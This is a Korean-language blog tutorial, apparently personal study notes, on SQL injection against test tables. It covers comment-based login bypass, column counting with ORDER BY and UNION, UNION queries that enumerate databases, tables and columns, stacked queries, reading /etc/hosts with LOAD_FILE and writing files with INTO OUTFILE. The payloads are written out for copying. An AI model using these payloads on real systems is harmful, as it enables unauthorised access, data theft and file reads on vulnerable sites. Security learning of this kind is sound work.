Note

  • 마지막에 짝이 안맞는 `` '``가 있으면 query가 실행되지 않는다.
    1. 짝을 맞춰주거나
    2. 주석처리 해주거나
    3. escape 해주어야 한다.
  • ``sql SELECT``가 아니라 ``sql INSERT, UPDATE, DELETE`` 등이어도 injection 가능하다.
    단, ``sql UPDATE`` 내부에 sub query로 ``sql SELECT``를 사용할 때 ``sql UPDATE`` 대상 database와 ``sql SELECT``대상 database가 같다면 아무것도 조회되지 않는다.

&& ||

  • ``sql AND / OR``는 공백 넣어주어야 하고, ``sql && / ||``는 공백 없어도 된다.
  • 공백이 없어도 `` '``로 감싸면 문자열로 인식하기 때문에 ``sql ''or''``같이 사용하는 것은 가능하다. 이 외에 ``sql or1``같이 쓰면 에러난다.
  • 숫자형 변수는 ``sql WHERE`` 절에서 `` '``로 감싸지 않기 때문에, ``sql '``를 써주지 않아도 된다. 
    이 때 ``sql '0'``처럼 감싸서 넘겨도 받는게 숫자형이면 숫자형 `` 0``으로 인식한다

```sql

select * from sqlinj_test where no=1 || 0;

no=1 row


select * from sqlinj_test where no=3 || 0;

Empty set (0.00 sec)    no=3 entry가 없음.


SELECT * FROM sqlinj_test WHERE no=3 or 1;

all rows


SELECT * FROM sqlinj_test WHERE no=3 or 9999;

all rows

```

SQL은 전체 row에서 조건에 맞는 row들만 추려나가는 방식으로 동작한다.

아래 설명은 n이 완전한 True/False일 때 라는 점에 유의.

OR ||

``sql no=... or n``에서 

``sql n == True``이면 ``sql WHERE True`` (참일 때는 참으로 반환되는 rows가 추가된다고 생각.)

``sql n == False``이면 ``sql WHERE no=...`` (거짓일 때는 거짓인 부분이 없다고 생각.)

이 처럼 ``sql A or B``는 A와 B 각각을 조건으로 실행한 query의 결과의 합집합을 반환한다고 생각하는 것이 좋다.


AND &&

``sql no=... and n``에서

``sql n == True``이면 ``sql WHERE no=...``

``sql n == False``이면 ``sql WHERE False``

이 처럼 ``sql A and B``는 A와 B 각각을 조건으로 실행한 query의 결과의 교집합만 반환한다고 생각하는 것이 좋다.



Basic

```php
$select_sql = "SELECT * FROM blind_test WHERE id= '$id' and pw = '$pw'";
```
다음과 같은 쿼리문에 대해서, id로 `` umbum'#``을 적어 보내면, 다음과 같이 출력된다.
* 그냥 `` umbum#``을 적어 보내면 ``sql WHERE id= 'umbum#' and ...``이 되어 `` #``이 id의 일부로 인식된다.
```sql
SELECT * FROM blind_test WHERE id= 'umbum'#' and pw = ''
Array
(
    [0] => Array
        (
            [0] => umbum
            [1] => 123qwe
        )

)
```

``sql ' or 1 #`` 도 가능하며, 이 경우 pw와 id 순서가 어떻든 ``sql and``가 먼저 실행되기 때문에 아래 경우 같은 결과가 나온다.
```sql
SELECT * FROM blind_test WHERE pw = ''or 1 #' and id= 'umbum'
SELECT * FROM blind_test WHERE pw = '' and id= '' or 1 #'
```

주석을 사용할 수 없을 때

query가 ``sql INSERT, UPDATE`` 문일 경우 뒤에 있는 column을 모두 주석 처리 해버리면 제대로 실행되지 않기 때문에 뒷부분을 제대로 채워주어야 하는 경우가 있다.
이러한 상황에서 query의 뒷부분을 예상할 수 없을 때는 주석을 사용하는 것 보다 그냥 ``sql 'or'``를 사용하는 것을 고려해보면 좋다.
```sql
SELECT * FROM sqlinj_test WHERE id= 'umbum'or'' and pw = '';
```

Classic SQL Injection

쿼리가 성공했을 때와 실패했을 때를 구분할 수 있으면 사용할 수 있다.
* 쿼리가 실패했을 때 꼭 Error를 반환할 필요는 없다.
* Blind는 쿼리가 참일 때와 거짓일 때를 구분할 수 있으면 사용할 수 있다.

query에서 요청하는 column 개수 파악하기

``sql order by N``은 `` N``번째 column으로 정렬하라는 의미이다.
```sql
' order by 1 #
' order by 2 #
...
' order by N #    // Error or Fail
```
column 개수는 `` N-1``개다.

UNION

query에 포함된 column 개수를 파악하는데 ``sql UNION``을 사용할 수도 있다.
* ``sql UNION``으로 결합하는 두 ``sql SELECT``의 column 개수는 동일해야만 한다는 점을 이용한다.
```sql
' union SELECT null #                // Error or Fail
' union SELECT null, null #          // Success
' union SELECT null, null, null #    // Error or Fail
' union SELECT 0, 0, 0 from tbl_name --    // 쿼리에 따라 tbl_name 적어줘야 하는 경우가 있음.
```
column 개수는 `` 2``개다.

DB leak
추가적인 tuple로 반환된다.
```sql
' union SELECT database(), version() #
' union SELECT table_name, table_schema FROM information_schema.tables #
' union SELECT column_name, column_type FROM information_schema.columns WHERE table_name='sqlinj_test' #
```

Stacked queries

``sql ;``를 사용할 수 있다면 뒤에 새로운 쿼리를 붙여 실행할 수 있다.
특히 Declare variables를 우회 또는 동적 쿼리 실행에 이용할 수 있으므로 참고.
```sql
1; INSERT INTO ...
1; set @var=value    # Declare variables
```

LOAD_FILE()

서버 설정에 따라 안될 수도 있다.
```sql
' union SELECT null, LOAD_FILE('/etc/hosts') #
```

INTO OUTFILE

```sql

INTO OUTFILE "output_file_path"

```



'Security > WebHacking' 카테고리의 다른 글

SQLMap  (0) 2017.09.05
Blind SQL Injection  (0) 2017.08.08
인증(Authentication)과 인가(Authorization)  (0) 2017.06.28
Brute Force / Replay Attack  (0) 2017.06.28
Session & HTTP Session hijacking  (0) 2017.06.27